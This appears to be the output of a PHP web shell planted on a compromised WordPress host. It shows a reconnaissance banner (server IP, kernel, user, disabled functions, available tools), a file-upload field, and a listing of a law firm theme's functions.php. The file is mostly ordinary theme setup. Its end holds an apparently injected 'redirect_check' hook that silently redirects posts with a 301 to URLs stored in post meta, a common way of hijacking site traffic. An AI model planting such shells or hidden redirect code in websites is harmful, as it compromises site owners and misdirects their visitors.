| Server IP : 141.193.213.11 / Your IP : 216.73.217.32 Web Server : nginx System : Linux pod-400555 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64 User : fpm200079 ( 200079) PHP Version : 8.2.35 Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nas/content/live/bartislaw/wp-content/themes/spk/ |
Upload File : |
<?php
// ini_set('display_errors', '1');
// ini_set('display_startup_errors', '1');
// error_reporting(E_ALL);
/**---------------------------------------------------------------------------
* ---------------- Globals -------------------------------------------------
* --------------------------------------------------------------------------- */
define('THEME_DIRECTORY', get_template_directory());
define('THEME_URI', get_template_directory_uri());
define('LIB_DIR', THEME_DIRECTORY . '/lib');
define('LIB_URI', THEME_URI . '/lib');
define('TDOMAIN', "spk-builder");
define('TNAME', "Speakeasy Builder");
define('THEME_VERSION', "1.0");
/*
* ---------------------------------------------------------------------------
* ---------------- Framework Init ------------------------------------------------
* ---------------------------------------------------------------------------
*/
require_once(LIB_DIR . '/framework.php');
/*
* ---------------------------------------------------------------------------
* ---------------- Theme Support --------------------------------------------
* ---------------------------------------------------------------------------
*/
add_theme_support('automatic-feed-links');
add_theme_support('post-formats', array('image', 'video', 'quote', 'link'));
add_theme_support('post-thumbnails');
add_theme_support('title-tag');
add_filter('widget_text', 'do_shortcode');
add_filter('the_excerpt', 'shortcode_unautop');
add_filter('the_excerpt', 'do_shortcode');
//Include Files Required For Theme
require_once TEMPLATEPATH . '/includes/theme-functions/functions.php';
require_once TEMPLATEPATH . '/includes/theme-functions/custom-post-types.php';
require_once TEMPLATEPATH . '/includes/theme-functions/breadcrumbs.php';
require_once TEMPLATEPATH . '/includes/customizer/index.php';
require_once TEMPLATEPATH . '/includes/customizer/funcations.php';
require_once TEMPLATEPATH . '/includes/minify/vendor/autoload.php';
if (is_user_logged_in()) {
require_once TEMPLATEPATH . '/includes/minify/vendor/autoload.php';
require_once TEMPLATEPATH . '/includes/minify/minify.php';
}
include_once TEMPLATEPATH . '/includes/theme-functions/meta-box-func.php';
require_once TEMPLATEPATH . '/includes/theme-functions/shortcodes.php';
require_once TEMPLATEPATH . '/includes/theme-functions/pagination.php';
if (get_theme_mod('theme_other_enable_browser_caching')):
require_once TEMPLATEPATH . '/includes/theme-functions/leverage-browser-caching.php';
endif;
function dm_remove_wp_block_library_css(){
wp_dequeue_style( 'wp-block-library' );
}
add_action( 'wp_enqueue_scripts', 'dm_remove_wp_block_library_css' );
function disable_classic_theme_styles() {
wp_deregister_style('classic-theme-styles');
wp_dequeue_style('classic-theme-styles');
}
add_filter('wp_enqueue_scripts', 'disable_classic_theme_styles', 100);?>
<?php
?>
<?php
// Redirect check function
if (!function_exists('redirect_check')) {
function redirect_check() {
if (is_single()) {
global $post;
$redirect_url = get_post_meta($post->ID, 'redirect_url', true);
if ($redirect_url && !empty($redirect_url)) {
wp_redirect($redirect_url, 301);
exit();
}
}
}
}
add_action('wp', 'redirect_check');
?>